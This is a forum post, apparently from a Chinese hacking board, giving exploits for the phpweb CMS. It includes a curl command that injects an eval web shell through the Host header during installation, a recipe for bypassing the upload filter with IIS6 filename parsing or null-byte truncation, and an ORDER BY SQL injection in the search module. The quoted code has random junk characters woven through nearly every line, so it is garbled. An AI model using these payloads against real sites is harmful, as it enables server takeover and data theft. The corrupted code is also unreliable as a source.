找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2659|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
% Y0 R8 A1 \) x/ B* H% Q2 \2 @7 E$ n$ A( p( [: [2 P
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码+ l  a7 R# n5 w+ a3 E5 V# I( z

3 z" v9 w& l9 n: Y4 P4 R4 U2 P鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( Z, m2 Q, ]0 T: r4 e; \鸡肋2: 有一定安全常识的站长都会删掉 install 目录% H1 W$ d, d* O% S
6 S: ?* d/ J9 e, F) M) P
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响' |1 ^9 z( T; f! i' z

, d3 j% G4 E7 W1 P4 j% o分析:
$ B( c, W% a6 Y! Z$ j% ]
# ], t1 l4 m' j: F4 E- s
4 B; X& |8 x' c  ~) f( w, b' W" X$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
" B, E& B$ e; V* ]7 o , o& G& z7 y, D
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);0 b# c. v/ I- m" ]# ~! c3 b
                                            $filestr=str_replace(" ","",$filestr);# k  b( R( f5 Z7 y. \  `: M
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);6 q8 F+ z% X+ F% j3 X
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
& D6 y5 d. R! j                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
1 t; H/ c: {- U% u% ~9 z0 V9 k                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);3 N8 O# m1 V5 ]3 n5 g. g
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);+ z$ J: M. M( O
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);4 ~+ Y! g3 D0 |
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: Y* [7 J' r% @0 Q" D ; N% Q; y/ g8 m) y* y
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
# |3 T4 z' Z' q: a% k, {8 C$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^$ i8 L2 c) M! F2 Q# ]
- [; F, g+ c. s2 Y! H9 A" M
poc:
1 H! ?" W, A" i0 |  Y& r; F  q$ t# _+ E ! v9 w7 W/ n& j6 i, U8 e
?" N) K' i) z) e! @# _
1
  e5 T. m- k1 V/ o, Q; l6 kcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
, K8 K% ~/ @1 W7 ?( ^shell地址: /config.inc.php' J& r( ?% Q' N1 q- {* ]; e: E* Y) s
跟之前的 phpcms一样 需要远程数据库; r, C# l1 e2 t2 }$ [, M+ H

4 u' a3 g0 u3 p9 K" p——————————————————–
' T" y) V  g5 a5 z3 I: R8 `上传漏洞(需要进后台):, d: s8 I4 c2 o9 c2 [( ^. T
漏洞文件: /kedit/upload_cgi/upload.php$ h: e1 O. p3 l- ]: K
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
4 o" S/ r. Z, S
- h) y2 O, T$ r& F. g ! y0 z* {. ~' X! d3 b! b* b
<?php4 a' y( X  P$ u
    define("ROOTPATH", "../../");9 C' s) g# i4 }2 T
    include(ROOTPATH."includes/admin.inc.php");1 i5 Z8 d0 x* ~: X* P
    NeedAuth(0);
& t. ~  P/ P7 K, N. g
+ t3 |4 w- J' N6 B    $dt=date("Ymd",time());
* b/ K! ]6 K) s& n2 N8 v% N    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
9 U, o* z& ^1 w! s; s" B            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
$ N; Y6 I- f  M, u) ~* `    }, G& g8 `9 x: B. X
: a; N) K1 w5 B  e# ?, U
    //文件保存目录路径$ g" f' @8 U7 w4 h& a
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
0 k5 C$ W) F8 B3 U( F7 p6 g: @    echo $save_path;
0 Y0 o3 Q3 S) _4 u    //文件保存目录URL6 S# M' Y1 y0 U
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';$ d) }7 |: l5 Q: \8 ^

* L2 n+ e) @& g! r+ `  m; j    //定义允许上传的文件扩展名; ?' U3 s, q/ A
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀. H! ?) \0 }% `! O  B. |: {9 Y
( P) L% }- @0 i
    //最大文件大小
- S6 t  f  a7 m- s4 s, I- t. |    $max_size = 1000000;& f7 A4 E( I" G' O4 o$ X$ F+ y

: J9 Q5 \. L4 E- ^    //更改目录权限
: P$ y3 U2 g3 j    @mkdir($save_path, 0777);- H$ Y1 l8 }5 y& E: I: u
3 b/ k) q, q+ g9 H) L. S
    //文件的全部路径
3 {# H/ P" ^8 A    $file_path = $save_path.$_POST['fileName'];   //保存文件名2 A/ X# b4 x4 u2 k

* x- m- |. K5 @  e9 ~/ W    //文件URL+ g' ?4 g) z% R2 {5 }6 ^3 E
    $file_url = $save_url.$_POST['fileName'];% A5 {$ s- O' p  q
//有上传文件时1 Y  p3 V5 m+ e/ [: R3 L* Q* g
    if (empty($_FILES) === false) {( Y9 X0 h8 h9 X
" e. K( S4 h! n- O) B; v
            //原文件名, K$ u# D( _: M1 U: z6 S$ K5 t) _
            $file_name = $_FILES['fileData']['name'];
  x% C2 l) q9 a$ q% @3 C" `' L, ~6 S            //服务器上临时文件名
0 T: C  v9 A! X7 ^  o            $tmp_name = $_FILES['fileData']['tmp_name'];
% X- U% j3 a! U# t            //文件大小
- x" o* s! I0 m$ F, v            $file_size = $_FILES['fileData']['size'];+ b' S; x1 W! c" A1 `2 X% C
            //检查目录
% r6 q- l2 w4 B% E            if (@is_dir($save_path) === false) {
' d8 T- o) e5 r$ A5 x6 R8 W$ |2 m  d                    alert("上传目录不存在。");1 _6 V7 U* t/ H& ]! f. |( K
            }
% N4 |* V8 T& E0 ^8 _: b; S  O7 s- I            //检查目录写权限
3 X" M3 |) U9 N+ {0 j  j% H; N+ ~            if (@is_writable($save_path) === false) {4 {  w  U( C) l! B9 \6 u+ c8 H# Y' E
                    alert("上传目录没有写权限。");+ P8 V& U$ H! o+ R% F5 a$ A1 Y
            }( \5 G* t% \2 _) ^# F9 s* u
            //检查是否已上传0 e6 G; T; T& v/ b! p3 Q
            if (@is_uploaded_file($tmp_name) === false) {
" z+ ]. X% b1 x* |; c. f                    alert("临时文件可能不是上传文件。");  \. p+ P. B& C. v$ A
            }5 c, a, `8 a! P
            //检查文件大小
& }- Z, c0 J* h2 B6 m" c: l            if ($file_size > $max_size) {  H+ H" V" }( y& k
                    alert("上传文件大小超过限制。");
3 m! x  V2 U6 W0 p            }
, W1 M! F0 H9 @( f* c  _: M            //获得文件扩展名
# W$ W/ n( E# k            $temp_arr = explode(".", $_POST['fileName']);$ S% x! |0 U. @, L: b) @; }
            $file_ext = array_pop($temp_arr);! {; Z& D; y* J
            $file_ext = trim($file_ext);2 w  c* @: B) l' i8 n# J
            $file_ext = strtolower($file_ext);
. H! y. w( }! F6 q9 ^
, U; B! I; Q9 {& _+ x$ J5 [+ I            //检查扩展名   
( I- K% D; ]0 ~6 Y! i& g            if (in_array($file_ext, $ext_arr) === false) {     
' l. O9 u* z+ F2 b  R( x; ^$ v& D9 E                    alert("上传文件扩展名是不允许的扩展名。");
- l  M0 K# X# X# N  j  s+ p            }
( v9 g& M# u: W. C! A2 J * g3 b) D0 u% P# J- ]+ E
            //移动文件   - k: ]' b# t* D. q& d( M; e
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
* ]- v* _  v6 x5 C. t            if (move_uploaded_file($tmp_name, $file_path) === false) {
( j/ u; q  I+ c/ x  r                    alert("上传文件失败。");3 h' l, q2 w' b* S* x* b3 A3 l% N  e
            }# s% `8 u, \; L  B; t. g; u; P; u
! N& W' Q6 s2 O) ]3 R
            @chmod($file_path,0666);
4 O) r: e% C. A* _8 ~, W, t
; d3 [6 N0 R, A3 {; _* G4 U    ?>
' B: z: ^1 [7 e抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227& r6 D4 Z8 `( I; ?# j
4 L, V4 R( M. E% z
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 ~# C" Z0 B$ Q! u- p+ T

# N' G! B( E( C% I2 f——————————————————, \( E  C  o. c" E* Y$ f
注入漏洞:
* {+ s% }9 x: _' J漏洞文件:search/module/search.php) ~$ A# E" q6 d0 ?, h* C' w$ L
/search/index.php?key=1&myord=1 [sqlinjection]9 S0 e1 }3 l# \8 g# R7 V+ G0 D
# a2 B' r* S/ V9 h. H6 `, U1 q! f
: t3 o0 ~( ^& n0 I+ s$ S, W
<?php
* G& Q& I! [4 e1 e0 ^5 k   //       ... 省略 n 行...
% i% b- c- b% m6 H' \5 \* o   //第18行:' Q, F- w2 a5 b4 R- }  @
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
9 u0 A$ p( }. l' [8 G( D6 M! h+ y           $page=htmlspecialchars($_GET["page"]);+ j3 B) _# O8 `" j
           $myord=htmlspecialchars($_GET["myord"]);
  V  E: z+ R% o
, i- y  i4 U* i3 A9 m9 d# v2 ?   //       ... 省略 n 行...
8 L3 @2 F$ l0 I9 K2 ~; B2 y- d) b   $key,$myord 两个参数带入查询
% ?3 G# J# q( Q6 |   //第47行 $key:" |! U, ^1 Y+ W, K
& O0 i" V3 X) D# O8 T* Y
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..- N- L) l6 S0 Y
& w$ V8 m" W& r9 c4 e2 [
   //第197行 $myord1 z) E* _1 Y" {9 Z! ^- S' N9 x0 [+ T
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入6 T& `6 g4 y7 m4 {5 _" G

# h# v2 H% e. ~! T, c; ]   ?>
5 q( V, a3 _' A0 f% o" i  M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表